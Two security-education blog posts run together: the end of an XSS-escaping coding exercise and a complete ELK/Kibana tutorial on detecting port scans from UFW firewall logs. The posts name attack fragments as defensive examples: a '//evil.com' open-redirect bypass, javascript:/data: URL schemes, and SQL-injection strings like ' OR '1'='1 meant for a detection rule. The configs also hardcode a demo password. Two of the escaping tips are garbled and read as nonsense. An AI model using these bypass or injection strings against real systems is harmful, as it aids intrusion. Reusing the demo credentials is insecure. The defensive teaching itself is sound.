Content-Security-Policy is your Layer 3 defense — even if an attacker injects a payload, a strict CSP script-src 'nonce-{random}' policy prevents it from executing. Your build_csp_header method is the foundation of that defense. (Full Stack Python Security, pp. 234-236)

Common Mistakes

❌ Mistake 1: Sanitizing Instead of Escaping

Stripping < and > from input prevents legitimate use cases (code snippets, mathematical notation) and fails against encoded variants like %3C in URL context.

❌ Mistake 2: Using the Same Escaper for All Contexts

escape_html is not safe for JavaScript string context. < inside a JS string literal renders as < — it does not prevent </script> breakout.

❌ Mistake 3: Forgetting That `//` Is a Valid URL Prefix

Protocol-relative URLs like //evil.com are a classic open redirect bypass that trips up validators checking only for http://evil.com.

❌ Mistake 4: Adding a Trailing Space to Valueless CSP Directives

upgrade-insecure-requests (with a trailing space) is a malformed CSP directive. Some browsers will ignore it silently.

❌ Mistake 5: Escaping `&` Last

If you run text.replace('<', '<') before text.replace('&', '&'), an input of < gets double-encoded to &lt; instead of &lt;. Always escape & first.

The Exercise

Get the Challenge File

# Download from the P2P AppSec Exercises repository
git clone https://github.com/fosres/SecEng-Exercises
cd SecEng-Exercises/xss
python3 xss_prevention_100_tests.py

What You'll Get

A single Python file with the empty XSSPrevention class
100 deterministic test cases with colored pass/fail output
Detailed failure messages showing expected vs. actual output
Progressive hints based on your score

What You'll Learn

✅ Why output context — not input sanitization — is the correct XSS defense
✅ The five HTML special characters and the correct escaping order
✅ Why JavaScript string context requires a different escaping strategy than HTML
✅ How </script> inside a JS string literal closes the script block prematurely
✅ RFC 3986 unreserved characters and percent-encoding for URL query parameters
✅ Content-Security-Policy directive syntax including valueless directives
✅ The three classes of dangerous URL schemes: javascript:, data:, vbscript:
✅ Protocol-relative URL bypass in open redirect validators

For Hiring Managers

This exercise assesses:

Security fundamentals — understanding of XSS at the mechanism level, not just "what is XSS"
Context-awareness — recognizing that the same data requires different escaping depending on where it is rendered
Defensive programming — implementing defense in depth rather than a single escaping pass
Python fluency — clean, idiomatic string handling and OOP design
Attention to edge cases — the polyglot and bypass test category specifically rewards candidates who think like attackers while writing defensive code

A candidate who passes all 100 tests has demonstrated the foundational secure coding knowledge expected of an Application Security Engineer at the junior-to-mid level.

Level Up: After You Pass

Extend the framework — add escape_css() for safe CSS value insertion, another context Django's template engine does not auto-escape
Build a linter — write a Semgrep rule that detects raw string interpolation into HTML templates in Python codebases (the vulnerability your framework prevents)
Integrate CSP reporting — extend build_csp_header to support report-to groups with a JSON policy endpoint configuration
Read the source — compare your escape_html to Django's django.utils.html.escape and note what it does and does not cover

Resources

Full Stack Python Security, Ch. 14 — Dennis Byrne (Manning, 2021): the definitive treatment of XSS defense in Django
Secure by Design, Ch. 9, pp. 247-249 — Johnsson, Deogun, Sawano (Manning, 2019): why never echoing input verbatim matters even in error messages
OWASP XSS Prevention Cheat Sheet — canonical escaping rules for all output contexts
Web Security Academy XSS Learning Path — hands-on labs for the attacker's perspective
RFC 3986 — unreserved character definition for URL escaping

This challenge is part of the P2P AppSec Exercise Series — a collection of LeetCode-style secure coding exercises designed to curate high-quality, secure Python code for AI training datasets. The goal: train AI models to write secure code by default.

→ SecEng-Exercises on GitHub

→ More challenges on dev.to/fosres

Get the Files

File	Description
xss_prevention_100_tests.py	Challenge file — empty `XSSPrevention` class + full 100-test suite. Start here.
xss_prevention_100_tests_solution.py	Solution file — reference implementation. Check this after you pass, not before.

Both files live in the xss/ directory of the SecEng-Exercises repository.

If these exercises are useful to you, a ⭐ star on the repo helps other Security Engineers find them. And if you have a minute, let me know why you read this post — it directly shapes what I write next.

Week 8 Challenge: Use ELK for Port Scan Detection

fosres — Mon, 02 Mar 2026 23:26:21 +0000

Tags: security, elasticsearch, linux, networking
series: Security Engineering Interview Prep

published: true

💡 Before you dive in — if you find this useful, please ⭐ star my open source project
SecEng-Exercises on GitHub. It's a growing
collection of security engineering exercises designed to help engineers write more secure code
and break into Security Engineering roles.

📊 Also — I'd love to know why you read security engineering blog posts.
Take my 30-second poll here and check the live
results. I use the data to write better content.

This is Part 2 of the ELK SIEM series.
Part 1 covered deploying ELK with X-Pack security and detecting SSH brute force attacks.
This post assumes your ELK stack is already running. If not, start with Part 1 first.

A Horror Story First

A penetration tester lands initial access on a corporate network via a phishing email. Before
doing anything noisy, he runs a quiet port scan — probing thousands of ports across dozens of
internal hosts, mapping the attack surface: open RDP ports, exposed databases, unpatched
services.

He takes his time. The entire reconnaissance phase lasts 20 minutes.

The security team notices nothing. No alert fires. No analyst investigates. The logs are
there — the firewall logged every blocked connection — but nobody built a rule to watch for
the pattern.

Three days later the attacker has domain admin. The port scan was the first domino.

Port scanning is not an attack in itself. It's reconnaissance — the attacker mapping your
network before they strike. Detecting it early gives you a critical window to respond before
the real attack begins. This guide builds that detection layer.

What You'll Build

A Kibana detection rule that fires when a single IP address probes more than 15 distinct
destination ports within 60 seconds — the signature of an automated port scan.

The pipeline:

UFW firewall → rsyslog → /var/log/ufw.log → Logstash (parse) → Elasticsearch (store)
→ Kibana threshold rule (fires when src_ip hits 15+ distinct ports / 60 sec)

🔧 Stuck at any point? Jump to the Common Pitfalls section
at the bottom of this post before giving up — every error you're likely to hit is
documented there with an exact fix.

Prerequisites

ELK stack running from Part 1 (Elasticsearch, Logstash, Kibana with X-Pack security)
Debian 12
sudo access

Part 1: Install and Configure UFW

UFW (Uncomplicated Firewall) is the standard firewall manager on Debian/Ubuntu. It wraps
iptables and writes blocked connection attempts to syslog, which rsyslog routes to
/var/log/ufw.log.

sudo apt install ufw
sudo ufw enable
sudo ufw logging on

Verify UFW is active and logging:

sudo ufw status verbose

You should see Status: active and Logging: on (low).

What UFW Logs

Every time a connection is blocked by UFW, a line like this gets written to /var/log/ufw.log:

Mar 2 14:23:01 fosres kernel: [1234567.890] [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=192.168.1.100 DST=10.0.0.1 LEN=44 TOS=0x00 PREC=0x00 TTL=254 ID=54321 PROTO=TCP SPT=54321 DPT=22 WINDOW=1024 RES=0x00 SYN URGP=0

The key fields for port scan detection are:

Field	Meaning
`SRC`	Attacker's source IP
`DST`	Target IP on your machine
`DPT`	Destination port being probed
`PROTO`	Protocol (TCP/UDP)

A port scan is simply the same SRC IP hitting many different DPT values in rapid
succession.

Make UFW Log Readable by Logstash

sudo chmod o+r /var/log/ufw.log

Part 2: Update logstash.conf

Open your Logstash pipeline config:

nano ~/elk/logstash.conf

⚠️ Debian 12 rsyslog timestamp warning: On Debian 12, rsyslog writes UFW logs using
ISO8601 format (2026-03-02T15:06:22.881951-08:00), not the traditional
SYSLOGTIMESTAMP format (Mar 2 15:06:22) that older tutorials use. Using the wrong
format causes _grokparsefailure on every UFW document — no fields will be extracted.
The config below uses TIMESTAMP_ISO8601 and ISO8601 date matching, which is correct
for Debian 12. Always verify your actual UFW log format first:
tail -5 /var/log/ufw.log

Add a second file input block and a new filter section for UFW. Here is the complete
updated logstash.conf:

input {
  file {
    path => "/var/log/host/auth.log"
    start_position => "beginning"
    sincedb_path => "/usr/share/logstash/data/sincedb_auth"
    type => "auth"
  }
  file {
    path => "/var/log/host/ufw.log"
    start_position => "beginning"
    sincedb_path => "/usr/share/logstash/data/sincedb_ufw"
    type => "ufw"
  }
}

filter {
  if [type] == "auth" {
    grok {
      match => {
        "message" => "%{TIMESTAMP_ISO8601:timestamp} %{HOSTNAME:hostname} %{PROG:program}(?:\[%{POSINT:pid}\])?: %{GREEDYDATA:log_message}"
      }
    }
    date {
      match => ["timestamp", "ISO8601"]
      target => "@timestamp"
    }
    if [log_message] =~ /Failed password/ {
      grok {
        match => {
          "log_message" => "Failed password for (invalid user )?%{USERNAME:failed_user} from %{IP:src_ip} port %{NUMBER:port}"
        }
        add_tag => ["failed_login"]
      }
    }
    if [log_message] =~ /Accepted password/ {
      grok {
        match => {
          "log_message" => "Accepted password for %{USERNAME:success_user} from %{IP:src_ip} port %{NUMBER:port}"
        }
        add_tag => ["successful_login"]
      }
    }
    if [log_message] =~ /sudo/ {
      mutate {
        add_tag => ["sudo_command"]
      }
    }
  }

  if [type] == "ufw" {
    grok {
      match => {
        "message" => "%{TIMESTAMP_ISO8601:timestamp} %{HOSTNAME:hostname} kernel: \[%{NUMBER:uptime}\] \[UFW %{WORD:ufw_action}\] IN=%{DATA:in_iface} OUT=%{DATA:out_iface}.*SRC=%{IP:src_ip} DST=%{IP:dst_ip}.*PROTO=%{WORD:protocol}(?:.*SPT=%{NUMBER:src_port} DPT=%{NUMBER:dst_port})?"
      }
      add_tag => ["ufw_event"]
    }
    date {
      match => ["timestamp", "ISO8601"]
      target => "@timestamp"
    }
    if [ufw_action] == "BLOCK" {
      mutate {
        add_tag => ["ufw_blocked"]
      }
    }
  }
}

output {
  if [type] == "auth" {
    elasticsearch {
      hosts => ["http://elasticsearch:9200"]
      user => "elastic"
      password => "SecureELKPass2026!"
      index => "auth-logs-%{+YYYY.MM.dd}"
    }
  }
  if [type] == "ufw" {
    elasticsearch {
      hosts => ["http://elasticsearch:9200"]
      user => "elastic"
      password => "SecureELKPass2026!"
      index => "ufw-logs-%{+YYYY.MM.dd}"
    }
  }
}

Key Design Decisions

Both auth.log and ufw.log use TIMESTAMP_ISO8601 on Debian 12 — rsyslog on Debian
12 writes ISO8601 timestamps to all log files including UFW. Many tutorials and older guides
use SYSLOGTIMESTAMP for UFW — this will cause _grokparsefailure on every document on
Debian 12. Always run tail -5 /var/log/ufw.log to verify your actual timestamp format
before writing your grok pattern.

SPT/DPT are optional in the grok pattern — some UFW blocked packets (like IGMP multicast
traffic with PROTO=2) have no source or destination port fields. Making them optional with
(?:.*SPT=... DPT=...)? prevents _grokparsefailure on those packets while still correctly
parsing TCP/UDP port scan events.

Separate indices for each log type — auth-logs-* and ufw-logs-* stay separate.
This makes queries faster (smaller index to scan), retention policies easier to manage, and
detection rules cleaner.

Two sincedb paths — each file input gets its own bookmark file so they track positions
independently.

Part 3: docker-compose.yml Reference

Your docker-compose.yml already mounts /var/log into the Logstash container at
/var/log/host. Since ufw.log lives in /var/log/, it's already accessible inside
the container at /var/log/host/ufw.log. No changes needed to the compose file.

Here is the complete docker-compose.yml for reference:

services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.11.0
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=true
      - xpack.security.authc.api_key.enabled=true
      - ES_JAVA_OPTS=-Xms2g -Xmx2g
      - ELASTIC_PASSWORD=SecureELKPass2026!
    ports:
      - "9200:9200"
    volumes:
      - esdata:/usr/share/elasticsearch/data

  kibana:
    image: docker.elastic.co/kibana/kibana:8.11.0
    container_name: kibana
    ports:
      - "5601:5601"
    depends_on:
      - elasticsearch
    environment:
      - ELASTICSEARCH_HOSTS=http://elasticsearch:9200
      - ELASTICSEARCH_USERNAME=kibana_system
      - ELASTICSEARCH_PASSWORD=SecureELKPass2026!
      - XPACK_ENCRYPTEDSAVEDOBJECTS_ENCRYPTIONKEY=a7a6311933d3503b89bc2dbc36572c33a6c10925682e591bffcab6911c06786d

  logstash:
    image: docker.elastic.co/logstash/logstash:8.11.0
    container_name: logstash
    volumes:
      - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf
      - /var/log:/var/log/host:ro
    depends_on:
      - elasticsearch
    environment:
      - LS_JAVA_OPTS=-Xms1g -Xmx1g
      - xpack.monitoring.elasticsearch.hosts=http://elasticsearch:9200
      - xpack.monitoring.elasticsearch.username=elastic
      - xpack.monitoring.elasticsearch.password=SecureELKPass2026!

volumes:
  esdata:

The critical line is the Logstash volume mount:

- /var/log:/var/log/host:ro

This mounts your entire host /var/log directory into the container read-only at
/var/log/host. Both auth.log and ufw.log live in /var/log/ on the host, so both
are accessible inside the container without any additional configuration.

Part 4: Restart Logstash

cd ~/elk
docker compose restart logstash

Wait 15 seconds then verify both pipelines started:

docker logs logstash 2>&1 | tail -10

You should see:

[INFO] Pipeline started {"pipeline.id"=>"main"}
[INFO] Pipelines running {:count=>2, ...}

And confirm the new index was created:

curl -u elastic:SecureELKPass2026! 'http://localhost:9200/_cat/indices?v' | grep ufw

If the ufw-logs-* index doesn't appear yet, UFW hasn't logged any blocked connections.
Move to Part 6 to generate test events first.

⚠️ Note: You may see Connection refused errors at the top of the Logstash output.
This is normal — Logstash started before Elasticsearch was fully ready. As long as you see
Restored connection to ES instance and Elasticsearch version determined at the bottom,
Logstash has recovered and is healthy.

Wait for Kibana to Be Ready

Kibana takes 60-90 seconds to fully initialize after docker compose up. Before navigating
to http://localhost:5601, verify it's ready:

docker logs kibana 2>&1 | tail -5

Wait until you see:

Kibana is now available

Only then open your browser to http://localhost:5601. If you visit too early you'll see
"Kibana Server is not ready yet" — just wait and keep refreshing every 30 seconds.

If you still see "Kibana Server is not ready yet" after 2 minutes, the kibana_system
password likely needs to be reset. This happens whenever the esdata Docker volume is
recreated. Run:

curl -u elastic:SecureELKPass2026! -X POST \
  'http://localhost:9200/_security/user/kibana_system/_password' \
  -H 'Content-Type: application/json' \
  -d '{"password": "SecureELKPass2026!"}'

Then restart Kibana:

docker restart kibana

Wait 60-90 seconds and check again:

docker logs kibana 2>&1 | tail -5

You're ready when you see Kibana is now available.

Part 5: Create a Kibana Data View for UFW Logs

Open your browser to http://localhost:5601 and log in with:

Username: elastic
Password: SecureELKPass2026!

In Kibana, go to hamburger menu → Stack Management → Data Views
Click "Create data view"
Fill in:
- Name: ufw-logs
- Index pattern: ufw-logs-*
- Timestamp field: @timestamp
Click Save data view to Kibana

[SCREENSHOT: Data View creation for ufw-logs-]*

Part 6: Generate Test Port Scan Events

Since you may not have real port scan traffic, simulate one by appending fake UFW BLOCK
entries directly to the log file:

for port in 22 23 25 80 443 3306 5432 6379 8080 8443 27017 11211 6380 9200 5601 21 53; do
  echo "$(date -Iseconds) $(hostname) kernel: [123456.789] [UFW BLOCK] IN=eth0 OUT= MAC=00:11:22:33:44:55 SRC=10.0.0.99 DST=192.168.1.1 LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=TCP SPT=54321 DPT=$port WINDOW=1024 RES=0x00 SYN URGP=0" | sudo tee -a /var/log/ufw.log
done

This simulates a single attacker (10.0.0.99) probing 17 distinct destination ports —
exactly the pattern a port scanner like nmap produces.

Wait 15 seconds, then open Kibana → Analytics → Discover, select the ufw-logs data
view and search:

tags: ufw_blocked

⚠️ Set the time range first — in the upper right corner of Kibana, click the clock
icon and set the time range from last week to now (e.g. "Last 7 days"). If the time
range doesn't include when you injected the events, Kibana will return no results even
though the data is there.

You should see 17 documents all from src_ip: 10.0.0.99.

[SCREENSHOT: Kibana Discover showing ufw_blocked events with src_ip and dst_port fields]

Verify Field Statistics

Click Field statistics tab and expand src_ip — you should see 10.0.0.99 at 100% of
events with 1 distinct value.

For destination ports, expand dst_port.keyword (not dst_port) — you should see 17
distinct values in TOP VALUES. The plain dst_port field is a text type and only shows
Examples without statistics. The .keyword version is the aggregatable form Elasticsearch
creates automatically, and is what both Field statistics and detection rules use for counting.

17 distinct ports from a single src_ip is the port scan signature: one attacker, many
probed ports.

Part 7: Build the Port Scan Detection Rule

Now build the Kibana SIEM detection rule that fires automatically when this pattern occurs.

Hamburger menu → Security → Rules → Detection rules (SIEM)
Click "Create new rule"
Select "Threshold" rule type
Click Continue

[SCREENSHOT: Rule type selection with Threshold highlighted]

Step 1: Define Rule

Source: Click Data View tab → select ufw-logs-*
Custom query: tags: ufw_blocked
Group by: src_ip.keyword
Threshold: >= 15
Count: select dst_port.keyword from the dropdown — this counts distinct destination ports per IP, not just total events
Unique values: set to 15 — this is the minimum number of distinct destination ports that must be seen from a single IP before the alert fires

Click Continue.

[SCREENSHOT: Threshold rule configured with ufw-logs data view and dst_port cardinality]

Step 2: About Rule

Name: Port Scan Detection
Description: Alerts when a single IP address probes 15 or more distinct destination ports within the rule window, indicating automated port scanning activity.
Default severity: Medium
Risk score: 47
Tags: port-scan, reconnaissance, network

Click Continue.

Step 3: Schedule Rule

Runs every: 5 minutes
Additional look-back time: 1 minute

Click Continue.

Step 4: Rule Actions

Select Index connector type → use your existing SSH_Brute_Force_Alerts connector or
create a new one called Security_Alerts_Index writing to index security-alerts.

Document to index:

{
  "rule_name": "{{rule.name}}",
  "alert_time": "{{date}}",
  "severity": "{{rule.severity}}",
  "src_ip": "{{context.value}}",
  "message": "Port scan detected from {{context.value}} — probing multiple destination ports"
}

Click "Create & enable rule".

Part 8: Trigger and Verify the Alert

Inject a fresh batch of port scan events so they fall within the rule's 5-minute look-back
window:

for port in 22 23 25 80 443 3306 5432 6379 8080 8443 27017 11211 6380 9200 5601 21 53; do
  echo "$(date -Iseconds) $(hostname) kernel: [123456.789] [UFW BLOCK] IN=eth0 OUT= MAC=00:11:22:33:44:55 SRC=10.0.0.99 DST=192.168.1.1 LEN=44 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=TCP SPT=54321 DPT=$port WINDOW=1024 RES=0x00 SYN URGP=0" | sudo tee -a /var/log/ufw.log
done

Wait 5 minutes, then navigate to Security → Alerts.

You should see a new Port Scan Detection alert with Medium severity and Risk Score 47.

[SCREENSHOT: Security Alerts page showing both SSH Brute Force and Port Scan Detection alerts]

Common Pitfalls

Problem	Cause	Fix
`_grokparsefailure` on UFW events	Wrong timestamp format in grok pattern	On Debian 12, use `TIMESTAMP_ISO8601` and `ISO8601` date match — run `tail -5 /var/log/ufw.log` to verify your format first
`ufw-logs-*` index not created	UFW has no blocked connections yet	Run the injection script in Part 6
`/var/log/ufw.log` doesn't exist	UFW not installed or logging not enabled	Run `sudo ufw enable && sudo ufw logging on`
No `src_ip` or `dst_port` fields	Grok pattern didn't match log line	Check your UFW log format with `tail /var/log/ufw.log` and verify the pattern
`src_ip`, `dst_port`, `protocol` appear under "Unmapped fields" in Discover	Data view was created before grok-extracted fields existed in the index	Go to Stack Management → Data Views → ufw-logs → Add field and manually add `src_ip`, `dst_port`, `protocol` as keyword type. This is safer than deleting the data view in production environments where other team members may depend on it.
Alert never fires	Events outside 5-minute look-back window	Re-run injection script immediately before waiting 5 minutes
UFW log unreadable by Logstash	File permissions	Run `sudo chmod o+r /var/log/ufw.log`

What You've Built

Your SIEM now detects two attack patterns autonomously:

Detection Rule	Trigger	Severity
SSH Brute Force Detection	5+ failed logins from same IP / 5 min	Medium
Port Scan Detection	15+ distinct ports from same IP / 5 min	Medium

The port scan rule catches the reconnaissance phase — the earliest stage of an attack,
before exploitation begins. In the real world, catching a port scan and blocking the source
IP buys you time and may prevent the attack entirely.

What's Next

Part 3 of this series covers SQL injection detection using nginx access logs — building
a custom query rule that fires when HTTP requests contain SQLi patterns like UNION SELECT,
' OR '1'='1, and --. Stay tuned.

🌟 If this post helped you, please star
SecEng-Exercises — a collection of
security engineering exercises for engineers who want to write more secure code and break
into Security Engineering roles. Every star helps the project grow.

📊 And take 30 seconds to tell me
why you read security engineering blog posts.
The live results are public — see what other engineers say.